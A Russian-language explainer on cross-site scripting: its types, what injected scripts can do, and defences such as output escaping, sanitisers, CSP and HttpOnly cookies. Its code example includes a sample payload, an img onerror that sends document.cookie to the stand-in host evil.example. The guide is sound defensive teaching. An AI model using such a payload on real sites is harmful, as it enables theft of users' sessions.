Что такое XSS и как от неё защищаться?

Браузер не различает «скрипт сайта» и «скрипт, который сайт по ошибке вставил из пользовательских данных». Если в имя пользователя записать <script>…</script>, а страница выведет имя как HTML, скрипт выполнится у всех, кто откроет страницу.

Виды:

• хранимая — вредный ввод сохраняется на сервере и показывается другим: комментарии, отзывы, сообщения в поддержку, названия файлов;
• отражённая — вредные данные в ссылке (?q=<script>…), сервер вставляет их в ответ; жертву заманивают по ссылке;
• DOM-based — уязвим клиентский код: element.innerHTML = location.hash.

Что может скрипт: читать содержимое страницы и токены из localStorage, делать запросы к API от имени пользователя (с его cookie), подменять формы и выманивать пароль, майнить, распространяться дальше (червь в соцсети).

Защита:

• экранирование при выводе с учётом контекста: в HTML-тексте < → <; в атрибуте — кавычки; в JavaScript — свои правила; в URL — запрет javascript:. Шаблонизаторы (Jinja2, Thymeleaf) и фреймворки (React, Vue, Angular) экранируют по умолчанию — опасно именно отключение: dangerouslySetInnerHTML, v-html, |safe, innerHTML;
• если нужно разрешить HTML (редактор статей) — санитайзер со списком разрешённых тегов и атрибутов (DOMPurify), а не самописные регулярки;
• Content Security Policy — заголовок, который запрещает инлайн-скрипты и загрузку скриптов с чужих доменов: даже внедрённый тег не выполнится;
• **cookie с HttpOnly** — скрипт не прочитает сессионную cookie (но запросы от имени пользователя сделать всё равно сможет);
• не хранить токены в localStorage, если можно в HttpOnly-cookie;
• Content-Type и X-Content-Type-Options: nosniff для отдаваемых файлов.

Валидация ввода полезна, но не заменяет экранирование вывода: одни и те же данные выводятся в разные контексты.

// уязвимо: имя пользователя из API вставляется как HTML
card.innerHTML = `<b>${user.name}</b>`;
// user.name = '<img src=x onerror="fetch(`//evil.example/?c=${document.cookie}`)">'

// безопасно: текст, а не разметка
const b = document.createElement("b");
b.textContent = user.name;
card.append(b);